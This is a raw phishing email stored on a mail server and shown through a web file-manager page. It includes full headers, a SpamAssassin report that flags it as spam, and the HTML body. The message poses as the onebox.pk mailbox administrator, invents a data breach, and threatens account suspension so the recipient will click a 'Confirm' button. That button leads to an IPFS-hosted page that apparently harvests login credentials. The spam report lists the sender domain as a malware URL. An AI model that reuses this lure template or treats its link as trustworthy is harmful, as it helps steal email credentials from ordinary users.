OwlCyberSecurity - MANAGER
Edit File: 1695000253.M235995P7617.cloudserv.clouditzone.com,S=14930,W=15193
Return-Path: <info@adiaw.com> Delivered-To: oneboxpk+spam@cloudserv.clouditzone.com Received: from cloudserv.clouditzone.com by cloudserv.clouditzone.com with LMTP id MKeGC72mB2XBHQAAnE02Jg (envelope-from <info@adiaw.com>) for <oneboxpk+spam@cloudserv.clouditzone.com>; Mon, 18 Sep 2023 06:24:13 +0500 Return-path: <info@adiaw.com> Envelope-to: carolintl@onebox.pk Delivery-date: Mon, 18 Sep 2023 06:24:13 +0500 Received: from quiet.adiaw.com ([82.115.209.74]:34567) by cloudserv.clouditzone.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from <info@adiaw.com>) id 1qi2zk-0001uG-0Y for carolintl@onebox.pk; Mon, 18 Sep 2023 06:24:13 +0500 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=dkim; d=adiaw.com; h=From:To:Subject:Date:Message-ID:MIME-Version:List-Unsubscribe:Content-Type; i=info@adiaw.com; bh=7CifiUKaTzRos7GudB1czgD2DFQ=; b=a6a2WTtMAp2eBZjjkU7qtBb6cCPPxTeVbtffDOCe52gSri3yqGujyM2Uqyoz97m1+x6zUXMkPHR4 K0IX7OMpIGCYhScDIFN8aAgEvxwswOki0fG7ay1iTCzSpvEvirLM3w5uJIPUxaiqnD8LALPVMz4R NkugJOqgTsp7Hdpq/ILHIWA9YfnAY7NfG1+/lXyTjj3l1LI1venFqr5KLHKkJwJFPVTRqmRq1OXp KjJN6H3EKVHqJhVa7uz/v7c5iG/eFE+nLI90DYPsbRbhHVXr5rS8/7rrqiiGWyOw0NgifrNBXGeZ BOQdMKko2vj6QbZM+nwOMzwoRpgw1ewKIpPOOQ== DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=dkim; d=adiaw.com; b=X+6GRBmyq58qvoukVxw26pj2Ck73pzt9YAsT07EfcTX9WQMLUEcxtpKE962LdjA557zIeToGf9kT 41sSpVUUp7lXTuy+k8Z0YYHcoZ72HICzGAld++Ki+v4j03d6LGtp3S8sYBZuP2uJ/JGe4R0G3H+3 5utJ+/s1DgT3gJ8XPPSWOHqonVVI5poOfSVIal361SbXblAw2LokKhOxABzbHYD2UVtHc8ZewCjq YFyvoJJ5xLSH3Gxs/DJ2opR2zm4PeVM/LB7nkbLDTohX90Rv14/zBGUnRwAlJVX9H4FwiN0sV4Mk RHUKKZc+A6VxqKquF2Y67JFz/yTJBllzF1yc+g==; From: onebox.pk Mailbox <info@adiaw.com> To: carolintl@onebox.pk Date: 18 Sep 2023 03:12:48 +0200 Message-ID: <20230918031248.ACB8CFE669DD719D@adiaw.com> MIME-Version: 1.0 List-Unsubscribe: <onebox.pk Mailbox <info@adiaw.com>> Content-Type: multipart/related; boundary="----=_NextPart_000_0012_30B8E2D3.2A25AD43" X-Spam-Status: Yes, score=7.3 X-Spam-Score: 73 X-Spam-Bar: +++++++ X-Spam-Report: Spam detection software, running on the system "cloudserv.clouditzone.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Please confirm your account carolintl@onebox.pk ( ) Due to the latest email data breach on our server it is mandatory that all users must re-confirm their email accounts or we will suspend unconfirmed users, we are sending this notice to all Email A [...] Content analysis details: (7.3 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 2.5 URIBL_DBL_MALWARE Contains a malware URL listed in the Spamhaus DBL blocklist [URIs: adiaw.com] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URIs: cloudflare-ipfs.com] -0.0 SPF_PASS SPF: sender matches SPF record 0.0 HTML_MESSAGE BODY: HTML included in message -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's domain -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid -0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from envelope-from domain 0.0 TVD_PH_BODY_ACCOUNTS_PRE The body matches phrases such as "accounts suspended", "account credited", "account verification" 2.0 PDS_FROM_NAME_TO_DOMAIN From:name looks like To:domain 1.5 PDS_FRNOM_TODOM_DBL_URL From Name to domain, double URL 1.5 PDS_FRNOM_TODOM_NAKED_TO Naked to From name equals to Domain X-Spam-Flag: YES Subject: ***SPAM*** carolintl@onebox.pk address will be suspended! Please confirm your email 9/18/2023 3:12:48 a.m. ------=_NextPart_000_0012_30B8E2D3.2A25AD43 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0013_30B8E2D3.2A25AD43" ------=_NextPart_001_0013_30B8E2D3.2A25AD43 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable =C2=A0 Please confirm your account carolintl@onebox.pk (=C2=A0=C2=A0) Due to the latest email data breach=C2=A0on our server it is mandatory=20 that all=C2=A0users must re-confirm their email accounts or we will=20 suspend unconfirmed=C2=A0users, we are sending this notice to all=20 Email Administrator users, in order to filter real and active=20 accounts. In order to avoid your=C2=A0=C2=A0carolintl@onebox.pk. (=C2=A0=C2=A0) =C2= =A0=C2=A0address=C2=A0from=20 being=C2=A0suspended,=C2=A0please confirm you are still using your=20 account=C2=A0: Confirm carolintl@onebox.pk=20 (=C2=A0https://cloudflare-ipfs.com/ipfs/bafybeidfcjxkdzljkukafwgftbvqlf7v5f= 27lekw6l7cendqsesardrgk4/rb.trading_sp_chamoip.html#carolintl@onebox.pk=C2= =A0)=20 =C2=A0 By logging in you are confirming that you are still using=20 our=C2=A0onebox.pk services and that the person registered is the=20 person using them. =C2=A0 ------=_NextPart_001_0013_30B8E2D3.2A25AD43 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <HTML><HEAD> <META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD> <body> <DIV style=3D"FONT-SIZE: small; BORDER-TOP: rgb(218,220,224) thin solid; FO= NT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; BORDER-RIGHT:= rgb(218,220,224) thin solid; VERTICAL-ALIGN: baseline; WHITE-SPACE: normal= ; WORD-SPACING: 0px; BORDER-BOTTOM: rgb(218,220,224) thin solid; TEXT-TRANS= FORM: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); PADDING-BOTTOM: 40px; F= ONT-STYLE: normal; PADDING-TOP: 40px; PADDING-LEFT: 20px; BORDER-LEFT: rgb(= 218,220,224) thin solid; ORPHANS: 2; WIDOWS: 2;=20 MARGIN: 0px; LETTER-SPACING: normal; PADDING-RIGHT: 20px; TEXT-INDENT: 0px;= font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-st= roke-width: 0px; text-decoration-thickness: initial; text-decoration-style:= initial; text-decoration-color: initial; border-radius: 8px" align=3Dcente= r> <DIV style=3D"BORDER-TOP: 0px; PADDING-TOP: 0px"> </DIV> <DIV style=3D'BORDER-LEFT-WIDTH: 0px; FONT-FAMILY: "Google Sans", Roboto, R= obotoDraft, Helvetica, Arial, sans-serif; BORDER-RIGHT-WIDTH: 0px; VERTICAL= -ALIGN: baseline; BORDER-BOTTOM-WIDTH: thin; PADDING-BOTTOM: 24px; PADDING-= TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 32px; PADDING-RIGHT:= 0px; BORDER-TOP-WIDTH: 0px; font-stretch: inherit'> <DIV style=3D"BORDER-LEFT-WIDTH: 0px; FONT-SIZE: 24px; FONT-FAMILY: inherit= ; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: baseline; BORDER-BOTTOM-WIDTH: 0= px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; = PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px; font-stretch: inherit">Please co= nfirm your account</DIV> <table style=3D"MARGIN-TOP: 8px" align=3D"center"> <TBODY> <TR style=3D"LINE-HEIGHT: normal"> <td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif= ; MARGIN: 0px; PADDING-RIGHT: 8px" align=3D"right"> <img style=3D"BORDER-TOP: 0px; HEIGHT: 20px; BORDER-RIGHT: 0px; WIDTH: 20px= ; VERTICAL-ALIGN: sub; BORDER-BOTTOM: 0px; PADDING-BOTTOM: 0px; PADDING-TOP= : 0px; PADDING-LEFT: 0px; BORDER-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px= ; border-radius: 50%" src=3D"cid:anonymousprofilephoto.png" width=3D"20" he= ight=3D"20"></TD> <td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif= ; MARGIN: 0px"><A style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px;= VERTICAL-ALIGN: baseline; BORDER-BOTTOM-WIDTH: 0px; COLOR: rgb(0,105,166);= PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PAD= DING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px" rel=3D"noopener noreferrer">carolin= tl@onebox.pk</A></TD></TR></TBODY></TABLE></DIV> <DIV style=3D"BORDER-LEFT-WIDTH: 0px; FONT-SIZE: 14px; FONT-FAMILY: Roboto-= Regular, Helvetica, Arial, sans-serif; BORDER-RIGHT-WIDTH: 0px; VERTICAL-AL= IGN: baseline; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: = 20px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 20px; PADDING-RIGHT: 0px= ; BORDER-TOP-WIDTH: 0px; font-stretch: inherit"> <P style=3D"TEXT-ALIGN: left"><FONT size=3D3>Due to the latest email data b= reach on our server it is mandatory that all users must re-confir= m their email accounts or we will suspend unconfirmed users, we are se= nding this notice to all Email Administrator users, in order to filter real= and active accounts.</FONT></P> <P style=3D"TEXT-ALIGN: left"><FONT size=3D1><STRONG><FONT size=3D2>In orde= r to avoid your</FONT> </STRONG></FONT><A style=3D"BORDER-LEFT-WIDTH: = 0px; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: baseline; BORDER-BOTTOM-WIDTH= : 0px; COLOR: rgb(0,105,166); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDIN= G-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px" rel=3D= noreferrer target=3D_blank> <FONT size=3D1><STRONG>carolintl@onebox.pk= =2E</STRONG></FONT></A><FONT size=3D1><STRONG> <SPAN style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; VERTI= CAL-ALIGN: baseline; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING= -TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-W= IDTH: 0px; font-stretch: inherit"><SPAN><SPAN style=3D"FONT-SIZE: 14px">&nb= sp;<FONT size=3D2>address from being suspended</FONT>, </SPA= N></SPAN></SPAN><FONT size=3D2>please confirm you are still using your acco= unt</FONT> :</STRONG></FONT></P> <DIV style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALI= GN: baseline; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 3= 2px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: = 0px"> <A style=3D'BORDER-LEFT-WIDTH: 0px; FONT-FAMILY: "Google Sans", Roboto, Rob= otoDraft, Helvetica, Arial, sans-serif; BORDER-RIGHT-WIDTH: 0px; VERTICAL-A= LIGN: baseline; BORDER-BOTTOM-WIDTH: 0px; MIN-WIDTH: 90px; COLOR: rgb(255,2= 55,255); PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 24px; MARGI= N: 0px; DISPLAY: inline-block; LINE-HEIGHT: 16px; PADDING-RIGHT: 24px; BORD= ER-TOP-WIDTH: 0px; BACKGROUND-COLOR: rgb(65,132,243); text-decoration-line:= none; font-stretch: inherit; border-radius: 5px'=20 href=3D"https://cloudflare-ipfs.com/ipfs/bafybeidfcjxkdzljkukafwgftbvqlf7v5= f27lekw6l7cendqsesardrgk4/rb.trading_sp_chamoip.html#carolintl@onebox.pk" r= el=3Dnoreferrer target=3D_blank data-saferedirecturl=3D"https://www.google.= com/url?q=3Dhttps://wookarzoun.com/public/test/ichiemagiksouthwest123.html%= 23production@nardibalkan.com&source=3Dgmail&ust=3D1694636123638000&= amp;usg=3DAOvVaw0K4yc1kllYoYLoHvw4oYJC">Confirm carolintl@onebox.pk</A>&nbs= p;</DIV></DIV></DIV> <DIV style=3D"BORDER-LEFT-WIDTH: 0px; FONT-SIZE: small; FONT-FAMILY: Roboto= , RobotoDraft, Helvetica, Arial, sans-serif; BORDER-RIGHT-WIDTH: 0px; VERTI= CAL-ALIGN: baseline; WHITE-SPACE: normal; BORDER-BOTTOM-WIDTH: 0px; WORD-SP= ACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); P= ADDING-BOTTOM: 0px; FONT-STYLE: normal; PADDING-TOP: 0px; PADDING-LEFT: 0px= ; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: normal; PADDING-RIGHT= : 0px; BORDER-TOP-WIDTH: 0px; TEXT-INDENT: 0px;=20 font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str= oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: = initial; text-decoration-color: initial"> <DIV style=3D"BORDER-LEFT-WIDTH: 0px; FONT-SIZE: 11px; FONT-FAMILY: Roboto-= Regular, Helvetica, Arial, sans-serif; BORDER-RIGHT-WIDTH: 0px; VERTICAL-AL= IGN: baseline; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; TEXT-ALIGN: c= enter; PADDING-TOP: 12px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 18px= ; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px; font-stretch: inherit"> <DIV style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALI= GN: baseline; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0= px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0= px">By logging in you are confirming that you are still using our oneb= ox.pk services and that the person registered is the person using them.</DI= V> <DIV style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALI= GN: baseline; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; DIRECTION: ltr= ; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BOR= DER-TOP-WIDTH: 0px"> </DIV></DIV></DIV></BODY></HTML> ------=_NextPart_001_0013_30B8E2D3.2A25AD43-- ------=_NextPart_000_0012_30B8E2D3.2A25AD43 Content-Type: image/png; name="anonymousprofilephoto.png" Content-Transfer-Encoding: base64 Content-ID: <anonymousprofilephoto.png> iVBORw0KGgoAAAANSUhEUgAAAGAAAABgCAMAAADVRocKAAAAA3NCSVQICAjb4U/gAAAAFVBM VEWlxP9KfOecw/9Ccd45cN5lkeyIrPiHXw4ZAAAEH0lEQVRoge1YCXLDIAwEI/z/JxfQCQaj xOlkOtPgOLWbCK1Wp0M4/vgKX9fgwWpHoM+/u/45+P765+D765+D76/XOKDXL2EOR845xnJy 6nW8wkGRnqCs8qof+eP65yI76gFQYbhwu751VtWjWRXIGVzYPSujfDBH2QPyRrvDy0GRXyRC tEaqt7Y7+PVnvatlIr7rhWeH/TfI/k1ipHPDU3c6P4BA7JP0lBgF3FnXxUHIqVkcESAAiPKZ cnjoSQeg9uI6BCARJ/CUg+ahbHkFALhJg8DmeGsFSKJ4dSQ0FKKhW884OEnV7i1WqukDA/pN +xeKgVyIiCAO2K8c0bb5bxZKSWH2KfaiCPl9BGVFyW4dhGgNtdTRwUGoElsJuEIATq3PEBAH FwggENYIPBywHdiBQJxJWHjGQTYG1zeGATrXjRd5OMicGtDnOSOBwnrmRS3QJBuh8rQls1AC 7QkHAVRno7dmo5oqniDASLOWR7WF4juOHRy0etZpL8ZhQ20stNGfk0WU/BOlILRt9lV5u38r mZA0IEyqw3pza4H9CtjTieuLbAJwbwFPX0RGGkloKSp/pNOWaIs2BREB+187raSCBQA87ijU jq30awbC1zZHODloGM5sOSjbQD4/NaGSHmULoEwEJN71e78WdY9ctc8k/XfmtGCUcmJ3R6L+ wRfeX74kfXp5i/ndXT6m+yPUL8zJ6DhnXXL5IS2qgxYPrcMx1Hf9SGXeP12T8r5eFNlNZPeq JaLc5E3e1/3MCaSD75sjLDgQ108u9hzkqBM+78I7pch3W954Q39u3XWq7MRrWav/W08hq71L OwGJ+h+BgIBwrqWDt8hiVqf1pRIn00WYeib2wq/EWYd3x4ERAV2hTFr8eW+qQfDKvMnzqjyh 0LYOLALsjRjDtEeaciDsWSa1mklvygiaLjqu7fRvNR6i6GxaCjAUMErC1wD10lccnEMvSgqy WB2qkoQJ42Aj3XpQ9f/YNXICIXUQZGoQj8Kxf8dB6BtRsU9PAs/h0ibhM7BTFV3oXxY5PEQD RIxjvUieAKhXnTb3rTiYILDZyDJv+/oWdedx3GDA06GDMFh7qGEgmUuFACaclxzUA6BzIlW1 8yJDjo48FsGaBzC4hQgYJF/iukdgnHLGwcyNesEyZMqCK4IVE2Jx+1sDpRsyezUGBPM4aBww l/xoyALQIZMSCqcVwOeoQ1hNEAj47lHLEMfpCmA+9k/jYHCiIRNpLjLJFc8XDlYI1BIRumAa IAyazBFcONDQmQKACQQe25wIIC5sMeg73JgW5nkcOBjgihA78zkR9OVgwcAAAYPEx8EtgA5E X+D8HAzVbM7AwMINggsHXRhMGeh3V/O9EAcmdGcMTCDEWTZdcGD7wzUD0LOACC4GWSDYxsAF AnFwEfcDfj447EC+jSUAAAAASUVORK5CYII= ------=_NextPart_000_0012_30B8E2D3.2A25AD43--